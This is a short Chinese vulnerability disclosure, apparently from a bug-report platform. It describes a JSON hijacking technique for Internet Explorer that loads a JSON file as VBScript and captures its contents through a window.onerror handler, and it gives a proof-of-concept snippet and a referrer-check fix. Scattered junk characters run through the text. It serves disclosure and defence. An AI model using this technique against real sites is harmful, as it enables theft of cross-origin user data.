简要描述:
6 U# t9 J+ r0 |; ~ B+ f9 Y. _ k! P! @; Z$ H; H. c5 T
由于某些资源容器对数据处理不当导致json劫持漏洞.
% j! n1 E3 A" q详细说明:
0 @( t3 x1 a4 m' M( Q7 [1 U9 \由于ie支持vbscript,所以script元素可以指定成vbscript语言:
3 f- q/ m/ C. u/ t% z. r* H<script language=vbscript></script>
! K& `& l- }# Y4 Y8 D, K1 @
/ C% ?3 L3 E% j/ I当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
, ]1 A4 t9 C+ {$ O漏洞证明:7 o8 \/ J# w1 V8 h4 ~- s% P7 k9 y( _
<script>6 b( y2 Z) `; a- I# v3 ?
window.onerror=function(_){
t( d l* M! Y8 ^1 y+ c4 L3 A/ k& }alert(_)
5 K& {7 K! P1 [" D; {}5 I) ~% G3 `1 i
</script>
8 S4 W2 a. [5 ]" n8 N r<script language=vbscript src=1.json></script>
% i5 K2 x5 P4 F) W
& R' x% f5 h7 E: {+ ^
& r5 g$ M' T+ E8 R1 F! `1.json:" _3 p9 c/ r* j3 _/ j. t h
[{"name":"sogili","age":19}]
s. P9 z6 e- k* O修复方案:2 X$ R7 A* P; k1 f+ L0 v8 h
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |